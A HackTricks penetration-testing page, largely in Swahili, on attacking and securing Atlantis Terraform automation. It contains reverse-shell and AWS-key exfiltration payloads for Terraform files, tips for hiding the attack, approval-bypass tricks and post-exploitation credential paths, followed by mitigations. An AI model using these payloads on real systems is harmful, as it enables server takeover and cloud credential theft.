Atlantis Security
Reading time: 16 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Atlantis kimsingi inakusaidia kuendesha terraform kutoka kwa Pull Requests kutoka kwa seva yako ya git.
Local Lab
- Nenda kwenye ukurasa wa toleo la atlantis katika https://github.com/runatlantis/atlantis/releases na pakua ile inayokufaa.
- Unda token ya kibinafsi (ikiwa na ufikiaji wa repo) wa mtumiaji wako wa github
- Tekeleza
./atlantis testdrive
na itaunda demo repo ambayo unaweza kutumia ku zungumza na atlantis - Unaweza kufikia ukurasa wa wavuti katika 127.0.0.1:4141
Atlantis Access
Git Server Credentials
Atlantis inasaidia wenyeji kadhaa wa git kama Github, Gitlab, Bitbucket na Azure DevOps.
Hata hivyo, ili kufikia repos katika majukwaa hayo na kufanya vitendo, inahitaji kuwa na ufikiaji wa kibali uliopewa (angalau ruhusa za kuandika).
The docs inahimiza kuunda mtumiaji katika majukwaa haya mahsusi kwa Atlantis, lakini watu wengine wanaweza kutumia akaunti za kibinafsi.
warning
Katika hali yoyote, kutoka kwa mtazamo wa washambuliaji, akaunti ya Atlantis itakuwa moja ya ya kuvutia kuvunjwa.
Webhooks
Atlantis inatumia kwa hiari Webhook secrets kuthibitisha kwamba webhooks inazopokea kutoka kwa mwenyeji wako wa Git ni halali.
Njia moja ya kuthibitisha hii ingekuwa kuruhusu maombi kuja tu kutoka kwa IPs za mwenyeji wako wa Git lakini njia rahisi ni kutumia Webhook Secret.
Kumbuka kwamba isipokuwa unatumia seva ya kibinafsi ya github au bitbucket, itabidi ufichue mwisho wa webhook kwa Mtandao.
warning
Atlantis itakuwa ikifichua webhooks ili seva ya git iweze kutuma habari. Kutoka kwa mtazamo wa washambuliaji itakuwa ya kuvutia kujua kama unaweza kutuma ujumbe.
Provider Credentials
Atlantis inafanya Terraform kwa kutekeleza tu amri za terraform plan
na apply
kwenye seva ambayo Atlantis inahifadhiwa. Kama unavyofanya Terraform kwa ndani, Atlantis inahitaji akreditif za mtoa huduma wako maalum.
Ni juu yako jinsi unavyoweza kutoa akreditif kwa mtoa huduma wako maalum kwa Atlantis:
- Atlantis Helm Chart na AWS Fargate Module zina mifumo yao wenyewe ya akreditif za mtoa huduma. Soma nyaraka zao.
- Ikiwa unafanya kazi na Atlantis katika wingu basi mawingu mengi yana njia za kutoa ufikiaji wa API ya wingu kwa programu zinazofanya kazi ndani yao, mfano:
- AWS EC2 Roles (Tafuta "EC2 Role")
- GCE Instance Service Accounts
- Watumiaji wengi huweka mabadiliko ya mazingira, mfano
AWS_ACCESS_KEY
, ambapo Atlantis inafanya kazi. - Wengine huunda faili za usanidi zinazohitajika, mfano
~/.aws/credentials
, ambapo Atlantis inafanya kazi. - Tumia HashiCorp Vault Provider kupata akreditif za mtoa huduma.
warning
Container ambapo Atlantis inafanya kazi itakuwa na uwezekano mkubwa kuhifadhi akreditif za kibali kwa waendeshaji (AWS, GCP, Github...) ambao Atlantis inasimamia kupitia Terraform.
Web Page
Kwa kawaida Atlantis itafanya kazi ukurasa wa wavuti katika bandari 4141 kwenye localhost. Ukurasa huu unaruhusu tu kuwezesha/kuzima atlantis apply na kuangalia hali ya mpango wa repos na kuzifungua (hauruhusu kubadilisha mambo, hivyo si ya manufaa sana).
Huenda usiione ikifichuliwa kwa mtandao, lakini inaonekana kwa kawaida hakuna akreditif zinazohitajika kuifikia (na ikiwa zipo atlantis
:atlantis
ndio za kawaida).
Server Configuration
Usanidi wa atlantis server
unaweza kuainishwa kupitia bendera za mistari ya amri, mabadiliko ya mazingira, faili ya usanidi au mchanganyiko wa tatu.
- Unaweza kupata hapa orodha ya bendera zinazosaidiwa na seva ya Atlantis
- Unaweza kupata hapa jinsi ya kubadilisha chaguo la usanidi kuwa env var
Thamani zinachaguliwa katika mpangilio huu:
- Bendera
- Mabadiliko ya Mazingira
- Faili ya Usanidi
warning
Kumbuka kwamba katika usanidi unaweza kupata thamani za kuvutia kama tokens na nywila.
Repos Configuration
Mifumo fulani ya usanidi inaathiri jinsi repos zinavyosimamiwa. Hata hivyo, inawezekana kwamba kila repo inahitaji mipangilio tofauti, hivyo kuna njia za kuainisha kila repo. Hii ndiyo mpangilio wa kipaumbele:
- Repo
/atlantis.yml
faili. Faili hii inaweza kutumika kuainisha jinsi atlantis inavyopaswa kutenda repo. Hata hivyo, kwa kawaida funguo fulani haziwezi kuainishwa hapa bila bendera fulani zinazoruhusu. - Huenda ikahitajika kuruhusiwa na bendera kama
allowed_overrides
auallow_custom_workflows
- Server Side Config: Unaweza kuipitia kwa bendera
--repo-config
na ni yaml inayopanga mipangilio mipya kwa kila repo (regexes zinasaidiwa) - Thamani za Kawaida
PR Protections
Atlantis inaruhusu kuashiria ikiwa unataka PR ku idhinishwa
na mtu mwingine (hata kama hiyo haijakubaliwa katika ulinzi wa tawi) na/au kuwa inaweza kuunganishwa
(ulinzi wa tawi umepita) kabla ya kuendesha apply. Kutoka kwa mtazamo wa usalama, kuweka chaguo zote mbili ni mapendekezo.
Katika kesi allowed_overrides
ni Kweli, mipangilio hii inaweza kufutwa kwenye kila mradi na faili ya /atlantis.yml
.
Scripts
Usanidi wa repo unaweza kuainisha scripts za kuendesha kabla (pre workflow hooks) na baada (post workflow hooks) workflow inatekelezwa.
Hakuna chaguo lolote la kuruhusu kuainisha scripts hizi katika repo /atlantis.yml
faili.
Workflow
Katika usanidi wa repo (usanidi wa upande wa seva) unaweza kuainisha workflow mpya ya kawaida, au kuunda workflows mpya za kawaida. Unaweza pia kuainisha ni repos zipi zinaweza kufikia zile mpya zilizoundwa.
Kisha, unaweza kuruhusu faili ya atlantis.yaml ya kila repo ku ainisha workflow ya kutumia.
caution
Ikiwa bendera server side config allow_custom_workflows
imewekwa kuwa Kweli, workflows zinaweza kuainishwa katika faili ya atlantis.yaml
ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides
pia inasisitiza workflow
ili kufuta workflow ambayo itatumika.
Hii itatoa RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.
# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps: - init - run: my custom plan command
apply:
steps: - run: my custom apply command
Conftest Policy Checking
Atlantis inasaidia kuendesha server-side conftest sera dhidi ya matokeo ya mpango. Matumizi ya kawaida ya hatua hii ni pamoja na:
- Kukataa matumizi ya orodha ya moduli
- Kuashiria sifa za rasilimali wakati wa kuunda
- Kukamata kufutwa kwa rasilimali zisizokusudiwa
- Kuzuia hatari za usalama (yaani, kufichua bandari salama kwa umma)
Unaweza kuangalia jinsi ya kuipanga katika the docs.
Atlantis Commands
In the docs unaweza kupata chaguzi unazoweza kutumia kuendesha Atlantis:
# Get help
atlantis help
# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options
# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options
Mashambulizi
warning
Ikiwa wakati wa unyakuzi unakutana na kosa hili: Error: Error acquiring the state lock
Unaweza kulitatua kwa kukimbia:
atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false
Atlantis plan RCE - Mabadiliko ya usanidi katika PR mpya
Ikiwa una ufikiaji wa kuandika juu ya hifadhi, utaweza kuunda tawi jipya ndani yake na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis plan
(au labda inatekelezwa kiotomatiki) utaweza kufanya RCE ndani ya seva ya Atlantis.
Unaweza kufanya hivi kwa kufanya Atlantis ipokee chanzo cha data cha nje. Weka tu payload kama ifuatavyo katika faili ya main.tf
:
data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}
Shambulio la Siri
Unaweza kufanya shambulio hili hata kwa njia ya siri zaidi, kwa kufuata mapendekezo haya:
- Badala ya kuongeza rev shell moja kwa moja kwenye faili ya terraform, unaweza kupakia rasilimali ya nje ambayo ina rev shell:
module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}
Unaweza kupata msimbo wa rev shell katika https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules
- Katika rasilimali ya nje, tumia kipengele cha ref kuficha msimbo wa terraform rev shell katika tawi ndani ya repo, kitu kama:
git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
- Badala ya kuunda PR kwa master ili kuanzisha Atlantis, unda matawi 2 (test1 na test2) na uunde PR kutoka moja hadi nyingine. Unapokamilisha shambulio, tu ondoa PR na matawi.
Atlantis plan Secrets Dump
Unaweza dump secrets zinazotumiwa na terraform ukikimbia atlantis plan
(terraform plan
) kwa kuweka kitu kama hiki katika faili ya terraform:
output "dotoken" {
value = nonsensitive(var.do_token)
}
Atlantis apply RCE - Mabadiliko ya usanidi katika PR mpya
Ikiwa una ufikiaji wa kuandika kwenye hifadhi, utaweza kuunda tawi jipya na kuzalisha PR. Ikiwa unaweza kutekeleza atlantis apply
utaweza RCE ndani ya seva ya Atlantis.
Hata hivyo, kwa kawaida utahitaji kupita baadhi ya ulinzi:
- Inayoweza kuunganishwa: Ikiwa ulinzi huu umewekwa katika Atlantis, unaweza tu kuendesha
atlantis apply
ikiwa PR inaweza kuunganishwa (hii inamaanisha kuwa ulinzi wa tawi unahitaji kupitishwa). - Angalia kupita kwa ulinzi wa tawi
- Imeidhinishwa: Ikiwa ulinzi huu umewekwa katika Atlantis, mtumiaji mwingine lazima aidhinishe PR kabla hujaweza kuendesha
atlantis apply
- Kwa kawaida unaweza kutumia token ya Gitbot kupita ulinzi huu
Kuendesha terraform apply
kwenye faili mbaya ya Terraform yenye local-exec.
Unahitaji tu kuhakikisha kuwa payload kama hizi zinaishia kwenye faili main.tf
:
// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}
// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}
Fuata mapendekezo kutoka kwa mbinu ya awali ili ufanye shambulio hili kwa njia ya siri.
Terraform Param Injection
Wakati wa kuendesha atlantis plan
au atlantis apply
, terraform inatekelezwa chini, unaweza kupitisha amri kwa terraform kutoka atlantis kwa kuandika maoni kama:
atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help
atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help
Unaweza kupitisha mabadiliko ya mazingira ambayo yanaweza kusaidia kupita baadhi ya ulinzi. Angalia terraform env vars katika https://www.terraform.io/cli/config/environment-variables
Mchakato wa Kijadi
Kukimbia amri za kujenga za uhalifu zilizobainishwa katika faili ya atlantis.yaml
. Atlantis inatumia faili ya atlantis.yaml
kutoka tawi la ombi la kuvuta, sio la master
.
Uwezekano huu ulitajwa katika sehemu ya awali:
caution
Ikiwa bendera ya server side config allow_custom_workflows
imewekwa kuwa True, michakato inaweza kubainishwa katika faili ya atlantis.yaml
ya kila repo. Pia inaweza kuwa muhimu kwamba allowed_overrides
inabainisha pia workflow
ili kuzuia mchakato ambao utatumika.
Hii itatoa RCE katika seva ya Atlantis kwa mtumiaji yeyote anayeweza kufikia repo hiyo.
# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command
Kupita mipango/maombi ya ulinzi
Ikiwa bendera ya server side config allowed_overrides
ina apply_requirements
iliyowekwa, inawezekana kwa repo kubadilisha mipango/maombi ya ulinzi ili kupita.
repos:
- id: /.*/
apply_requirements: []
PR Hijacking
Ikiwa mtu atatuma atlantis plan/apply
maoni kwenye ombi zako halali za kuvuta, itasababisha terraform kuendesha wakati hutaki.
Zaidi ya hayo, ikiwa huna mipangilio katika branch protection ya kuomba kuangalia upya kila PR wakati commit mpya inasukumwa kwake, mtu anaweza kuandika mipangilio ya uharibifu (angalia hali za awali) katika mipangilio ya terraform, kuendesha atlantis plan/apply
na kupata RCE.
Hii ni mipangilio katika ulinzi wa branch wa Github:
Webhook Secret
Ikiwa umeweza kuiiba webhook secret inayotumika au ikiwa hakuna webhook secret inayotumika, unaweza kuita webhook ya Atlantis na kuitisha amri za atlantis moja kwa moja.
Bitbucket
Bitbucket Cloud haikubali webhook secrets. Hii inaweza kuruhusu washambuliaji kuiga maombi kutoka Bitbucket. Hakikisha unaruhusu tu IP za Bitbucket.
- Hii inamaanisha kwamba mshambuliaji anaweza kufanya maombi ya uongo kwa Atlantis ambayo yanaonekana kana kwamba yanatoka Bitbucket.
- Ikiwa unataja
--repo-allowlist
basi wanaweza tu kuiga maombi yanayohusiana na hizo repos hivyo uharibifu mkubwa wanaweza kufanya ni kupanga/kuomba kwenye repos zako. - Ili kuzuia hili, ruhusu anwani za IP za Bitbucket (angalia anwani za IPv4 za nje).
Post-Exploitation
Ikiwa umeweza kupata ufikiaji wa seva au angalau umepata LFI kuna mambo ya kuvutia unapaswa kujaribu kusoma:
/home/atlantis/.git-credentials
Inayo nywila za ufikiaji wa vcs/atlantis-data/atlantis.db
Inayo nywila za ufikiaji wa vcs na maelezo zaidi/atlantis-data/repos/<org_name>
/
<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate
Faili ya hali ya terraform- Mfano: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
/proc/1/environ
Mabadiliko ya mazingira/proc/[2-20]/cmdline
Cmd line yaatlantis server
(inaweza kuwa na data nyeti)
Mitigations
Usitumie Kwenye Repos za Umma
Kwa sababu mtu yeyote anaweza kutoa maoni kwenye ombi za kuvuta za umma, hata na mipango yote ya usalama iliyopo, bado ni hatari kuendesha Atlantis kwenye repos za umma bila mipangilio sahihi ya mipangilio ya usalama.
Usitumie --allow-fork-prs
Ikiwa unafanya kazi kwenye repo ya umma (ambayo haitashauriwa, angalia hapo juu) huwezi kuweka --allow-fork-prs
(inachukuliwa kuwa si kweli) kwa sababu mtu yeyote anaweza kufungua ombi la kuvuta kutoka kwa fork yao hadi repo yako.
--repo-allowlist
Atlantis inahitaji uweze kutaja orodha ya ruhusa ya repos itakazokubali webhooks kupitia bendera ya --repo-allowlist
. Kwa mfano:
- Repos maalum:
--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
- Shirika lako lote:
--repo-allowlist=github.com/runatlantis/*
- Kila repo katika usakinishaji wako wa GitHub Enterprise:
--repo-allowlist=github.yourcompany.com/*
- Repos zote:
--repo-allowlist=*
. Inatumika wakati uko katika mtandao uliohifadhiwa lakini ni hatari bila pia kuweka webhook secret.
Bendera hii inahakikisha usakinishaji wako wa Atlantis haujatumika na repos usizodhibiti. Angalia atlantis server --help
kwa maelezo zaidi.
Linda Mipango ya Terraform
Ikiwa washambuliaji wanaowasilisha maombi ya kuvuta na msimbo wa uharibifu wa Terraform uko katika mfano wako wa tishio basi lazima uwe na ufahamu kwamba idhini za terraform apply
hazitoshi. Inawezekana kuendesha msimbo wa uharibifu katika terraform plan
kwa kutumia external
data source au kwa kutaja mtoa huduma wa uharibifu. Msimbo huu unaweza kisha kuhamasisha nywila zako.
Ili kuzuia hili, unaweza:
- Kuunda mtoa huduma ndani ya picha ya Atlantis au mwenyeji na kukataa egress katika uzalishaji.
- Tekeleza itifaki ya rejista ya mtoa huduma ndani na kukataa egress ya umma, kwa njia hiyo unadhibiti nani ana ufikiaji wa kuandika kwenye rejista.
- Badilisha mipangilio ya repo upande wa seva's hatua ya
plan
ili kuthibitisha dhidi ya matumizi ya watoa huduma au vyanzo vya data vilivyokatazwa au PRs kutoka kwa watumiaji wasioruhusiwa. Unaweza pia kuongeza uthibitisho wa ziada katika hatua hii, e.g. kuhitaji "thumbs-up" kwenye PR kabla ya kuruhusuplan
kuendelea. Conftest inaweza kuwa ya msaada hapa.
Webhook Secrets
Atlantis inapaswa kuendeshwa na Webhook secrets zilizowekwa kupitia mazingira ya $ATLANTIS_GH_WEBHOOK_SECRET
/$ATLANTIS_GITLAB_WEBHOOK_SECRET
. Hata na bendera ya --repo-allowlist
iliyowekwa, bila webhook secret, washambuliaji wanaweza kufanya maombi kwa Atlantis wakijifanya kuwa repo iliyo kwenye orodha ya ruhusa. Webhook secrets zinahakikisha kwamba maombi ya webhook yanatoka kwa mtoa huduma wako wa VCS (GitHub au GitLab).
Ikiwa unatumia Azure DevOps, badala ya webhook secrets ongeza jina la mtumiaji wa msingi na nywila.
Azure DevOps Basic Authentication
Azure DevOps inasaidia kutuma kichwa cha uthibitisho wa msingi katika matukio yote ya webhook. Hii inahitaji kutumia URL ya HTTPS kwa eneo lako la webhook.
SSL/HTTPS
Ikiwa unatumia webhook secrets lakini trafiki yako iko juu ya HTTP basi webhook secrets zinaweza kuibiwa. Wezesha SSL/HTTPS kwa kutumia bendera za --ssl-cert-file
na --ssl-key-file
.
Wezesha Uthibitisho kwenye Seva ya Mtandao ya Atlantis
Inashauriwa sana kuwezesha uthibitisho katika huduma ya wavuti. Wezesha BasicAuth kwa kutumia --web-basic-auth=true
na weka jina la mtumiaji na nywila kwa kutumia bendera za --web-username=yourUsername
na --web-password=yourPassword
.
Unaweza pia kupitisha hizi kama mazingira ya ATLANTIS_WEB_BASIC_AUTH=true
ATLANTIS_WEB_USERNAME=yourUsername
na ATLANTIS_WEB_PASSWORD=yourPassword
.
References
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.